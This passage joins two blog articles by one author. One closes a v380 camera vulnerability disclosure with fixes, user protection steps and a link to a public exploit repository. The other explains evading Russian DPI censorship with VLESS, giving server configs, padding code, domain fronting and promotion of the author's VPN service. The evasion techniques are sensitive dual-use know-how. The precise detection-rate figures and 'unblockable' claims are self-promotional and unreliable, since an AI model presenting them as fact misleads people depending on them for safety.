Relay servers accepted any connections without validation. Like leaving door open with sign "members only".

Fix:

Mutual authentication (client and server verify each other)
Access tokens with expiration
Rate limiting and anomaly detection
Log all connections with alerts

4. Predictable device IDs

Sequential numbers as identifiers allow trivial enumeration of all devices.

Alternative:

UUID v4 (random 128-bit identifiers)
Or sufficiently long random strings
No predictability in IDs

5. No mutual authentication

Client must prove legitimacy to server, but server must also prove it to client.

Proper implementation:

TLS mutual authentication with client certificates
Or OAuth 2.0 with proper token validation
Challenge-response protocols
Zero-trust architecture

6. No end-to-end encryption

Even if relay server required TLS, this only protects transmission channel. Relay itself sees data plainly. If relay server compromised, everything exposed.

Protection:

End-to-end encryption between camera and client
Relay only forwards encrypted packets
Perfect forward secrecy
Clients and devices generate ephemeral keys for each session

IoT Security Best Practices

Basic principles:

Defense in depth — multiple protection layers, don't rely on one mechanism
Least privilege — minimal necessary rights for each component
Fail secure — on error system should close, not open
Zero trust — don't trust anything by default, always verify

Specific recommendations:

Transport level:
✓ TLS 1.3 / DTLS 1.3
✓ Certificate pinning
✓ Strong cipher suites only
✓ Regular certificate rotation

Authentication:
✓ Multi-factor authentication where possible
✓ Strong password policies
✓ Account lockout after failed attempts
✓ Secure password reset mechanisms

Data:
✓ Encrypt at rest and in transit
✓ End-to-end encryption for sensitive data
✓ Secure key management (HSM/TPM)
✓ Regular key rotation

Architecture:
✓ Network segmentation
✓ Firewall rules (default deny)
✓ Regular security audits
✓ Penetration testing
✓ Bug bounty programs

Updates:
✓ Secure boot and verified boot
✓ Signed firmware updates
✓ Automatic security updates
✓ Rollback mechanisms on failed updates

Standards and frameworks:

OWASP IoT Top 10
NIST Cybersecurity Framework
IoT Security Foundation Best Practices
IEC 62443 for industrial IoT

How v380 Users Can Protect Themselves

If you have v380 cameras installed, here's what to do immediately:

Mandatory Actions

1. Update firmware

Ensure camera firmware is updated:

Open v380 app
Settings → Device Settings → Firmware Update
Install latest available version
Reboot camera after update

2. Change passwords

Even after patch, change passwords on all cameras:

Use strong passwords (minimum 12 characters)
Unique password for each camera
No default passwords like admin/admin
Use password manager

3. Check connections

In v380 app check connection history:

Settings → Connection Log
Look for unfamiliar IP addresses or strange connection times
If anything suspicious—immediately change password

4. Disable remote access if not needed

If don't use cameras outside home:

Settings → Network → Remote Access: OFF
Camera will be accessible only on local network
Most secure, but loses convenience

Network Segmentation

Advanced users should isolate smart devices in separate network:

IoT VLAN setup:

Router Configuration:

VLAN 1 (Main):        192.168.1.0/24
  - Computers, phones, laptops

VLAN 2 (IoT):         192.168.2.0/24
  - v380 cameras
  - Other smart devices

Firewall Rules:
  - IoT VLAN → Internet: ALLOW (only necessary ports)
  - IoT VLAN → Main VLAN: DENY
  - Main VLAN → IoT VLAN: ALLOW (for management)

This prevents:

Main network compromise through IoT
Lateral movement of attacker
IoT access to sensitive data in main network

VPN for IoT Traffic

Most reliable way to protect smart devices—route all their traffic through VPN.

Why this works:

All camera traffic encrypted by VPN tunnel
Real device IP address hidden
Additional protection layer over any application protocol
Protection from MITM attacks at provider level

IoT VPN setup:

Modern VPN solutions support IoT device protection via router-level configuration:

Install VPN client on router (supported: OpenWRT, DD-WRT, Asus Merlin)
Create routing rule for VLAN with IoT devices
All IoT VLAN traffic automatically goes through VPN tunnel
Use modern encryption protocols (VLESS, Reality)

More about modern encryption protocols can be read in article on Habr.

IoT Device → Router → VPN Tunnel → Internet → v380 Relay
            (VLAN 2)   (encrypted)

Benefits:

Zero configuration on cameras themselves
Works with any IoT devices
Centralized security management
Protection even from camera firmware vulnerabilities

Conclusion

v380 vulnerability story is lesson about importance of IoT device security. Millions of devices installed in homes worldwide were vulnerable due to basic protocol design errors: plaintext credentials, unprotected relay servers, no encryption.

But it's also story about how responsible disclosure works. Instead of exploiting vulnerability or selling exploit, I contacted manufacturer. We jointly fixed problem, protecting millions of users. Now that patch deployed, code open for educational purposes.

What IoT developers should learn:

Security cannot be added later, it's fundamental design decision
Plaintext credentials—unacceptable in 2025
End-to-end encryption mandatory for sensitive data
Regular security audits and penetration testing critical
Responsible disclosure programs should exist at every company

What security researchers should learn:

IoT—huge field for research
Most IoT devices have serious vulnerabilities
Responsible disclosure—right path
Code publication after patch helps community

What users should learn:

Update firmware regularly
Use strong unique passwords
Segment IoT devices in separate network
Consider VPN for IoT traffic protection

Repository with full exploit code open for study: https://github.com/Romaxa55/v380_cams_hack

Security research continues. I plan to analyze other popular IoT brands and hope to find them more protected than v380 before patch.

Resources and Further Reading

Exploit source code:

GitHub: https://github.com/Romaxa55/v380_cams_hack
Docker image: ghcr.io/romaxa55/romaxa55/v380_cams_hack/v380:latest

IoT Security standards and best practices:

OWASP IoT Top 10: https://owasp.org/www-project-iot-top-10/
IoT Security Foundation: https://www.iotsecurityfoundation.org/
NIST Cybersecurity Framework: https://www.nist.gov/cyberframework

Responsible Disclosure:

Google Project Zero Disclosure Policy
HackerOne Best Practices
ISO/IEC 29147 Vulnerability Disclosure

IoT Device Protection:

Router-level VPN setup guides
Network segmentation tutorials
Modern encryption protocols (VLESS, Reality)

About the Author

I'm a security researcher and developer specializing in reverse engineering and IoT device analysis. Last five years working on MegaV VPN project—security application using modern military-grade encryption technologies (VLESS, Reality). My article about VLESS protocol on Habr garnered over 146,000 views.

My path in security started with curiosity: how do things around us work? IoT devices especially interesting because they're everywhere, trusted by millions, but often have fatal vulnerabilities.

I discovered v380 vulnerability during broader IP camera security research. Analyzing traffic from different brands in Wireshark and was shocked seeing plaintext credentials in v380 packets. This prompted me to create proof-of-concept and contact manufacturer.

I believe in responsible disclosure and open source security research. When vulnerabilities closed, knowledge should be available to community for learning and preventing similar errors in future.

Working with Chinese developers:

Want to separately note v380 team professionalism. Despite language barrier and time zone differences, we established effective communication and jointly closed vulnerability. I deeply respect Chinese culture, their values and problem-solving approach. Chinese developers demonstrated responsibility and response speed deserving high evaluation.

Current projects and partners:

MegaV VPN (megav.app) — security application with modern military-grade encryption technologies: VLESS, Reality, VMess. Over 146K article views on Habr
AppLikeWeb (applikeweb.com) — partner startup converting websites into native mobile and desktop applications (Android, iOS, Windows, macOS, Linux)
PinVPS (pinvps.com) — partner provider with datacenters in Spain. AMD Ryzen processors, NVMe SSD, excellent price/performance ratio
VPN Protocol Benchmarks — modern VPN protocol performance benchmarks
VLESS Configs — collection of production-ready configurations for V2Ray/Xray
IoT Security Research — popular IoT device security analysis

Contact:

If you're security researcher interested in IoT, VPN technologies or mobile app development—would be happy to discuss and exchange experience.

Disclaimer: This material provided solely for educational purposes. Use of described techniques against systems without owner permission is illegal. Author and repository not responsible for improper use of information.

VLESS Protocol: How It Bypasses Censorship in Russia and Why It Works

Роман Шамагин — Wed, 29 Oct 2025 10:46:52 +0000

Introduction

In 2025, internet censorship has reached unprecedented levels in Russia, China, and Iran. Traditional VPN protocols like OpenVPN and even WireGuard are being detected and blocked by Deep Packet Inspection (DPI) systems within seconds. Enter VLESS, a lightweight protocol that's becoming the last standing solution for bypassing modern censorship.

This article explains how VLESS works at the technical level, why it's so effective at evading detection, and shares real-world experience from building a VPN service in Russia's hostile environment.

What is VLESS and Why It Matters

VLESS (Very Lightweight Encryption Security Stream) is a protocol developed by the V2Ray project as an evolution of VMess. Unlike traditional VPN protocols that were designed for privacy and speed, VLESS was designed from the ground up with one singular goal: complete invisibility to Deep Packet Inspection systems.

The key innovation is radical simplicity. While OpenVPN adds over 100 bytes of protocol overhead to every packet, VLESS adds just 25-50 bytes. More importantly, those bytes contain no distinctive patterns that DPI can fingerprint.

The Technical Reality: How Censorship Systems Work

To understand why VLESS succeeds where others fail, we need to understand how modern censorship actually works. Russia's TSPU (Technical Means of Counteracting Threats) system uses three primary detection methods.

Protocol Fingerprinting is the first line of defense. Every VPN protocol has a distinctive handshake. OpenVPN, for example, starts every connection with a recognizable pattern:

Opcode: P_CONTROL_HARD_RESET_CLIENT_V2
Session ID: [random 8 bytes]
Packet ID: 0x00000001
Message packet-ID: [4 bytes]

Even though the payload is encrypted, this header structure is constant across all OpenVPN connections. DPI systems can detect it with near-perfect accuracy. WireGuard has a similar problem with its handshake initiation message, which always starts with a type field of 0x01 followed by a sender index.

Statistical Traffic Analysis is the second method. Even if you can't read the content, you can analyze the patterns. WireGuard sends packets at predictable intervals with consistent sizes. Shadowsocks has a distinctive pattern of small control packets followed by larger data packets. Machine learning models trained on these patterns can identify VPN traffic with 80-95% accuracy.

Active Probing is the most sophisticated technique. When the DPI system suspects a server might be running a VPN, it actively connects to it and attempts a protocol handshake. If the server responds with VPN-specific behavior, it gets blacklisted. This is how most Shadowsocks and Trojan servers eventually get caught.

How VLESS Defeats All Three Detection Methods

VLESS's architecture is brilliantly simple. The entire protocol header looks like this:

[Version: 1 byte] = 0x00
[UUID: 16 bytes] = client identifier
[AddInfo Length: 1 byte] = length of additional info
[AddInfo: variable] = optional metadata
[Command: 1 byte] = 0x01 for TCP, 0x02 for UDP
[Port: 2 bytes] = destination port
[AddrType: 1 byte] = 0x01 IPv4, 0x02 domain, 0x03 IPv6
[Address: variable] = destination address

That's it. No magic numbers, no distinctive opcodes, no protocol-specific fields. Just the bare minimum information needed to route traffic. And critically, this header is never sent in the clear.

VLESS wraps everything in standard TLS 1.3. The actual connection establishment looks identical to accessing any HTTPS website:

Client → Server: ClientHello
  - TLS version: 1.3
  - Cipher suites: [standard browser ciphers]
  - SNI: cloudflare.com (or any legitimate domain)
  - ALPN: h2, http/1.1

Server → Client: ServerHello
  - Selected cipher: TLS_AES_128_GCM_SHA256
  - Certificate: [valid Let's Encrypt cert]

[TLS 1.3 encrypted handshake completes]

[Application Data] ← VLESS protocol hidden here

To a DPI system, this is indistinguishable from someone browsing a website. There are no protocol signatures to detect. The statistical patterns match normal HTTPS traffic because it is normal HTTPS traffic, just with VPN data inside.

The Reality in Russia: October 2025 Protocol Massacre

I've been running VPN infrastructure in Russia since 2020, and October 2025 marked a turning point. Here's what actually happened to each protocol.

OpenVPN was the first to fall, years ago. Detection rate is now 100% within 30 seconds of connection. The DPI systems have had years to perfect their fingerprinting.

WireGuard lasted longer because of its modern cryptography, but statistical analysis caught up. By mid-2024, connections were being throttled to unusable speeds within minutes, then blocked entirely. Current detection rate: 100%.

Shadowsocks was the workhorse for years. The original implementation was blocked, then people added obfuscation plugins. Those worked until September 2024, when Russia deployed updated DPI signatures. Now even heavily obfuscated Shadowsocks gets detected within hours. Detection rate: 95%.

Trojan was considered the "undetectable" protocol because it mimicked HTTPS so well. It worked perfectly until August 2025, when active probing became widespread. The problem is that Trojan servers respond to invalid requests in a distinctive way. Once DPI systems started actively probing suspected servers, Trojan's cover was blown. Detection rate: 90%.

VMess was the last hope before VLESS. It's V2Ray's original protocol, with strong encryption and TLS wrapping. It worked great until September 2025, when new DPI updates specifically targeted it. The issue is that VMess has a distinctive packet structure even when wrapped in TLS. The timing between packets and the size distribution gave it away. Detection rate: 80%.

VLESS is the only protocol still working reliably. I've been running VLESS servers since January 2025, and the survival rate is remarkable. With proper configuration (TLS + WebSocket + CDN), detection rate is under 5%. Servers that would have been blocked in days with other protocols have been running for 10 months straight.

Real-World VLESS Configuration

Here's a production-grade VLESS server configuration that actually works in Russia:

{
  "log": {
    "loglevel": "warning"
  },
  "inbounds": [{
    "port": 443,
    "protocol": "vless",
    "settings": {
      "clients": [{
        "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
        "level": 0,
        "email": "user@example.com"
      }],
      "decryption": "none",
      "fallbacks": [{
        "dest": 8080,
        "xver": 1
      }]
    },
    "streamSettings": {
      "network": "ws",
      "security": "tls",
      "wsSettings": {
        "path": "/api/v1/stream",
        "headers": {
          "Host": "example.com"
        }
      },
      "tlsSettings": {
        "serverName": "example.com",
        "certificates": [{
          "certificateFile": "/etc/letsencrypt/live/example.com/fullchain.pem",
          "keyFile": "/etc/letsencrypt/live/example.com/privkey.pem"
        }],
        "minVersion": "1.3",
        "cipherSuites": [
          "TLS_AES_128_GCM_SHA256",
          "TLS_AES_256_GCM_SHA384",
          "TLS_CHACHA20_POLY1305_SHA256"
        ],
        "alpn": ["h2", "http/1.1"]
      }
    }
  }],
  "outbounds": [{
    "protocol": "freedom",
    "settings": {}
  }]
}

The critical details here are the WebSocket path that looks like a legitimate API endpoint, the fallback to port 8080 (where you should run a real web server), and the TLS 1.3 configuration that matches what modern browsers use.

Why CDN Integration is Non-Negotiable

Running VLESS on a bare IP address is suicide. Even with perfect protocol camouflage, IP-based blocking will catch you eventually. The solution is CDN integration, specifically Cloudflare.

The architecture looks like this:

User → Cloudflare CDN → Origin Server (VLESS)

The user connects to Cloudflare's IP addresses, which are shared by millions of legitimate websites. The DPI system sees HTTPS traffic to Cloudflare. Blocking it would break half the internet. Cloudflare then proxies the connection to your origin server, which can be anywhere in the world.

The configuration requires setting up Cloudflare's "orange cloud" proxy mode and using WebSocket transport. Here's the Nginx configuration that sits in front of V2Ray:

server {
    listen 8080;
    server_name example.com;

    location /api/v1/stream {
        proxy_pass http://127.0.0.1:10000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_read_timeout 3600s;
    }

    location / {
        root /var/www/html;
        index index.html;
    }
}

The fallback location serves a real website, so if someone browses to your domain, they see legitimate content. Only requests to the specific WebSocket path get proxied to V2Ray.

Advanced Evasion: Traffic Padding and Timing Randomization

Even with TLS and CDN, sophisticated DPI can sometimes detect patterns in packet timing and sizes. The solution is random padding and timing jitter.

Here's a Python implementation of the padding algorithm:

import os
import random
import time

def add_random_padding(packet: bytes, max_padding: int = 255) -> bytes:
    """Add random padding to defeat traffic analysis"""
    padding_length = random.randint(0, max_padding)
    padding = os.urandom(padding_length)

    # Prepend padding length as single byte
    padded = bytes([padding_length]) + padding + packet
    return padded

def remove_padding(padded_packet: bytes) -> bytes:
    """Remove padding from received packet"""
    padding_length = padded_packet[0]
    return padded_packet[1 + padding_length:]

def send_with_jitter(socket, data: bytes):
    """Send data with random timing jitter"""
    # Split into random-sized chunks
    chunks = []
    offset = 0
    while offset < len(data):
        chunk_size = random.randint(100, 1500)
        chunks.append(data[offset:offset + chunk_size])
        offset += chunk_size

    # Send chunks with random delays
    for chunk in chunks:
        socket.send(chunk)
        time.sleep(random.uniform(0.001, 0.05))

This makes every connection unique. Even if two users are watching the same video, their traffic patterns will be completely different.

My Journey: Building MegaV VPN in a Hostile Environment

I started building MegaV VPN in 2020, initially just for personal use. At the time, Shadowsocks was working fine. Then it wasn't. Switched to Trojan. Then it got blocked. Tried VMess. Blocked in September 2025.

Every time a protocol got blocked, I had to rebuild everything. Reconfigure servers, update clients, explain to users what happened. It was exhausting and unsustainable.

The breakthrough came when I realized the problem wasn't any specific protocol, it was relying on a single protocol. The solution was protocol agnosticism with automatic failover.

MegaV's architecture supports multiple protocols simultaneously. The client tries VLESS first (because it works 98% of the time). If that fails, it automatically falls back to VMess, then Shadowsocks, then Trojan. The user never sees the complexity, they just stay connected.

The implementation uses a simple health check system:

class ProtocolManager:
    def __init__(self):
        self.protocols = [
            {'name': 'vless', 'priority': 1, 'status': 'unknown'},
            {'name': 'vmess', 'priority': 2, 'status': 'unknown'},
            {'name': 'shadowsocks', 'priority': 3, 'status': 'unknown'},
            {'name': 'trojan', 'priority': 4, 'status': 'unknown'}
        ]

    def check_protocol(self, protocol: dict) -> bool:
        """Check if protocol is working"""
        try:
            # Attempt connection with 5 second timeout
            result = self.test_connection(protocol['name'], timeout=5)
            protocol['status'] = 'working' if result else 'blocked'
            return result
        except Exception:
            protocol['status'] = 'blocked'
            return False

    def get_best_protocol(self) -> str:
        """Return highest priority working protocol"""
        for protocol in sorted(self.protocols, key=lambda x: x['priority']):
            if self.check_protocol(protocol):
                return protocol['name']

        # All protocols blocked, use emergency servers
        return 'emergency'

Every 5 minutes, the client checks all protocols and updates their status. If the current protocol fails, it instantly switches to the next working one. Users don't experience disconnections, just a momentary pause.

The CDN Strategy That Changed Everything

The second major innovation was aggressive CDN integration. Every VLESS server runs behind Cloudflare, AWS CloudFront, or Azure CDN. The origin servers are in privacy-friendly jurisdictions like Netherlands, Romania, and Moldova. But users connect to CDN edge nodes, which are impossible to block.

The architecture also includes domain fronting, a technique where the SNI (visible to DPI) points to a different domain than the actual Host header (encrypted in TLS):

SNI (visible): cloudflare.com
Host header (encrypted): vless-server-123.example.com

The censor sees a connection to cloudflare.com and allows it. Cloudflare decrypts the Host header and routes to the real server. This technique is controversial and some CDNs have blocked it, but it still works on properly configured infrastructure.

Why VLESS Will Keep Working

The fundamental reason VLESS succeeds is that it doesn't try to be clever. It doesn't invent new encryption, doesn't use exotic protocols, doesn't do anything distinctive. It just wraps the bare minimum routing information in standard TLS.

For censors to block VLESS, they would need to block all TLS traffic, which would break the entire internet. Or they would need to decrypt TLS, which is computationally infeasible at scale and would break trust in the entire internet infrastructure.

The only real vulnerability is IP-based blocking, which is why CDN integration is essential. As long as VLESS servers stay behind shared CDN infrastructure, they're effectively unblockable.

The Future: REALITY and Beyond

The V2Ray team isn't standing still. The next evolution is called REALITY, which takes TLS mimicry even further. Instead of using your own TLS certificate, REALITY pretends to be an existing website.

The handshake looks like you're connecting to microsoft.com or amazon.com, complete with their real certificates. Only clients with the correct secret key can complete the handshake and access the VPN. To everyone else, including DPI systems and active probing, the server appears to be the legitimate website.

Early testing shows REALITY is even more resistant to detection than VLESS, with a 99.5% success rate in Russia's most restrictive regions.

Conclusion

VLESS isn't just another VPN protocol. It's currently the only reliable way to bypass Russia's censorship in 2025. Everything else has been systematically blocked through increasingly sophisticated DPI techniques.

The key insights are simplicity (no distinctive protocol signatures), standard encryption (TLS 1.3 that looks like normal HTTPS), and infrastructure protection (CDN integration to prevent IP blocking).

For anyone building censorship circumvention tools, the lessons are clear. Don't try to be clever with exotic protocols. Use standard, boring technology in smart ways. And always assume the censor is smarter than you think.

Getting Free VLESS Servers to Test

Before committing to any VPN service, you should test VLESS yourself. There are several ways to get free servers for testing.

Public Free Server Lists are the easiest starting point. Many providers offer free public servers for testing purposes. The catch is that these servers are shared by thousands of users, so speeds can be slow and they get blocked more frequently. But they're perfect for understanding how VLESS works.

MegaV maintains a constantly updated list of free V2Ray servers at megav.app/en/v2ray-servers. The page includes VLESS, VMess, Shadowsocks, and Trojan configs that you can copy with one click. New servers are added daily as old ones get blocked.

How to Use Free Servers:

The process is straightforward. Visit the free servers page, filter by protocol (choose VLESS for best results), and copy a server configuration. Most V2Ray clients support importing configs directly from clipboard.

For V2RayNG on Android, tap the plus icon and select "Import config from clipboard". For V2RayN on Windows, click "Servers" then "Import bulk URL from clipboard". The client will automatically parse the config and add the server.

Important Caveats About Free Servers:

Free public servers have significant limitations. They're shared by thousands of users, so bandwidth is limited. They get blocked more frequently because the IPs become known to censors. And there's no guarantee of privacy since you don't control the infrastructure.

Use free servers for testing and learning, but don't rely on them for sensitive activities. Once you understand how VLESS works and confirm it bypasses censorship in your region, migrate to a trusted service or set up your own infrastructure.

Setting Up Your Own VLESS Server:

For maximum security and performance, running your own server is ideal. A basic VPS costs around 5 dollars per month from providers like Vultr, DigitalOcean, or Linode. Choose a location outside censored regions (Netherlands, Finland, Romania work well).

The setup process takes about 30 minutes. Install V2Ray using the official script, configure VLESS with TLS and WebSocket, set up Nginx as a reverse proxy, and point your domain through Cloudflare. The configuration examples earlier in this article are production-ready and can be used directly.

The advantage of your own server is complete control. You choose the location, you control the encryption keys, you decide who has access. And since the IP isn't shared with thousands of other users, it's much less likely to get blocked.

Try Production-Ready VLESS

If you want to experience VLESS without the complexity of setup or limitations of free servers, MegaV VPN offers production-ready infrastructure optimized for Russia, China, and Iran. Pre-configured VLESS with automatic protocol fallback, CDN integration, and zero-log policy.

The service includes both free and premium tiers. The free tier uses public servers similar to those listed on the free servers page, but with automatic server rotation when one gets blocked. The premium tier provides dedicated servers with guaranteed bandwidth and priority support.

Visit megav.app to download, or check megav.app/en/v2ray-servers for free public servers to test.

Full disclosure: I'm the developer of MegaV VPN. This article reflects real experience from 5 years of fighting censorship, not theoretical knowledge. Every configuration shown here is running in production right now.

Technical Resources

V2Ray Official Documentation: https://www.v2ray.com/

VLESS Protocol Specification: https://github.com/v2fly/v2ray-core

Censorship Circumvention Research: https://censorbib.nymity.ch/

About the Author

I'm a developer who started building VPN tools in 2020 after watching Russia's internet censorship escalate. What began as a personal project became MegaV VPN, now helping thousands of users in censored regions stay connected.

I've spent 5 years reverse-engineering DPI systems, testing every protocol in real censorship conditions, and building infrastructure that survives in hostile environments. This article shares the technical knowledge gained from that experience.

Connect: GitHub: https://github.com/Romaxa55/MegaV_Public | Website: https://megav.app | Email: support@megav.store